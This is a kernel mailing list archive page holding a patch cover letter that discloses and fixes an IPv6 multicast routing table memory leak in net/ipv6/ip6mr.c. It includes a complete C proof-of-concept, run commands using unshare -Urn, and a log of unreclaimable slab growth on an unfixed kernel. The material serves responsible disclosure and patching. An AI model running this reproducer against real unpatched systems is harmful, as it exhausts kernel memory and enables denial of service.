mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: David Ahern <dsahern@kernel.org>,
	Ido Schimmel <idosch@nvidia.com>,
	"David S . Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Simon Horman <horms@kernel.org>,
	Patrick McHardy <kaber@trash.net>,
	linux-kernel@vger.kernel.org
Subject: [PATCH net v2 0/1] ipv6: ip6mr: fix mr_table leak from MRT6_TABLE
Date: Sat,  5 Sep 2026 16:30:06 +0000	[thread overview]
Message-ID: <cover.1788622674.git.zihanx@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated a mr_table leak in net/ipv6/ip6mr.c. The bug is
reachable by a process with CAP_NET_ADMIN and CAP_NET_RAW in the target
user and net namespace, including via unshare -Urn.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

MRT6_TABLE is supposed to select an IPv6 multicast routing table id.
ip6_mroute_setsockopt() currently calls ip6mr_new_table() for every
unseen id and links the new mr_table into mr6_tables. ip6mr_sk_done()
only clears mroute_sk and flushes MIF/MFC state, so the table stays
published until the net namespace is torn down.

A raw ICMPv6 socket can therefore loop MRT6_TABLE(fresh id) without
MRT6_INIT, close the socket, and still leave the allocations behind.
The same hole exists after MRT6_TABLE plus a successful MRT6_INIT,
MRT6_ADD_MIF or MRT6_ADD_MFC: DONE or close still leaves an empty
non-default table in mr6_tables.

On an unfixed 7.3.0-rc1 kernel in a 2 vCPU, 2 GB QEMU VM, 30000 ids
grew Slab from 25696 kB to 148400 kB (+122704 kB) and SUnreclaim from
18108 kB to 140812 kB. setsockopt() still returned 0; that run did not
panic. The log below is from that kernel. There is no stack trace to
decode.

This behavior was introduced with multiple-table support. Later
changes only made the path easier to hit, so Fixes: still points at
commit d1db275dd3f6 ("ipv6: ip6mr: support multiple tables").

The patch keeps MRT6_TABLE as a selector: it only stores the chosen
id on the socket. The table is created later, under RTNL, when a
command actually needs it (MRT6_INIT, MRT6_ADD_MIF, MRT6_ADD_MFC, or
MRT6_ADD_MFC_PROXY). That matches existing users such as the ipmr
selftest, which issues MRT6_TABLE and then ADD_MIF without INIT.

The new table is published before INIT/ADD so a VIF or MFC notifier
cannot fire against a tb_id that dump cannot see yet. If that command
fails, the still-empty table is unlinked and freed in the same
syscall. After DONE, close, DEL_MIF, DEL_MFC, FLUSH or device
unregister, an empty non-default table is dropped from mr6_tables.
The device notifier only reclaims when this unregister actually
removed a VIF, so a nested pimreg unregister cannot destroy the table
twice. If DEL_MIF leaves unresolved MFC entries, the expire timer
later queues that reclaim onto RTNL. The default table is left in
place.

The leak is a setsockopt lifetime bug, not a packet-sequence bug, so
the reproducer is a raw ICMPv6 socket program rather than
packetdrill.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

setsockopt() still returns 0 after the fix, so compare Slab and
SUnreclaim in /proc/meminfo before and after. Take those numbers in a
persistent net namespace. unshare -Urn ./poc is enough to prove
reachability, but it destroys the namespace on exit, so the parent
/proc/meminfo cannot show the leftover tables.

The meminfo numbers below were taken with:

    ./poc 30000 1

On the unfixed 7.3.0-rc1 kernel the loop grows unreclaimable slab; on
the fixed kernel it does not.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [count] [start_table]\n"
		"  count: number of new MRT6 table ids to allocate (default: 200000)\n"
		"  start_table: first table id to use (default: 1)\n",
		prog);
	exit(1);
}

int main(int argc, char **argv)
{
	unsigned int count = 200000;
	unsigned int start = 1;
	unsigned int i;
	int fd;

	if (argc > 3)
		usage(argv[0]);
	if (argc >= 2)
		count = strtoul(argv[1], NULL, 0);
	if (argc == 3)
		start = strtoul(argv[2], NULL, 0);

	if (count == 0 || start == 0 || start >= 100000000U)
		usage(argv[0]);

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (fd < 0)
		die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");

	for (i = 0; i < count; i++) {
		u_int32_t table = start + i;

		if (table >= 100000000U) {
			fprintf(stderr, "stopped before invalid table id %u\n", table);
			break;
		}

		if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
			       sizeof(table)) < 0) {
			fprintf(stderr,
				"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
				table, i, strerror(errno));
			close(fd);
			return 2;
		}

		if ((i % 10000) == 0) {
			struct rusage ru;

			if (!getrusage(RUSAGE_SELF, &ru))
				fprintf(stderr,
					"allocated=%u current_table=%u maxrss_kb=%ld\n",
					i + 1, table, ru.ru_maxrss);
			else
				fprintf(stderr, "allocated=%u current_table=%u\n",
					i + 1, table);
		}
	}

		fprintf(stderr,
			"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
			i);
	close(fd);
	sleep(2);
	fprintf(stderr, "socket closed; tables persist until netns teardown\n");
	return 0;
}
------END poc.c--------

----BEGIN crash log----
Linux syzkaller 7.3.0-rc1-00240-g641d03105cc0 #2 SMP PREEMPT_DYNAMIC Sat Sep  5 21:32:21 CST 2026 x86_64 GNU/Linux

./poc 30000 1

allocated=1 current_table=1 maxrss_kb=1188
allocated=10001 current_table=10001 maxrss_kb=1188
allocated=20001 current_table=20001 maxrss_kb=1188
done: allocated 30000 tables on one socket without MRT6_INIT; closing socket now
socket closed; tables persist until netns teardown
RET:0

before:
MemAvailable:    1907696 kB
Slab:              25696 kB
SUnreclaim:        18108 kB

after:
MemAvailable:    1810360 kB
Slab:             148400 kB
SUnreclaim:       140812 kB
-----END crash log-----

Best regards,
Zihan Xi


Zihan Xi (1):
  ipv6: ip6mr: fix mr_table leak from MRT6_TABLE

 net/ipv6/ip6mr.c | 327 ++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 280 insertions(+), 47 deletions(-)


base-commit: 641d03105cc0d2437e32fdeec164f91a4ccef6c4
-- 
2.43.0


             reply	other threads:[~2026-09-05 16:30 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-05 16:30 Zihan Xi [this message]
2026-09-05 16:30 ` [PATCH net v2 1/1] " Zihan Xi

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1788622674.git.zihanx@nebusec.ai \
    --to=zihanx@nebusec.ai \
    --cc=davem@davemloft.net \
    --cc=dsahern@kernel.org \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=idosch@nvidia.com \
    --cc=kaber@trash.net \
    --cc=kuba@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®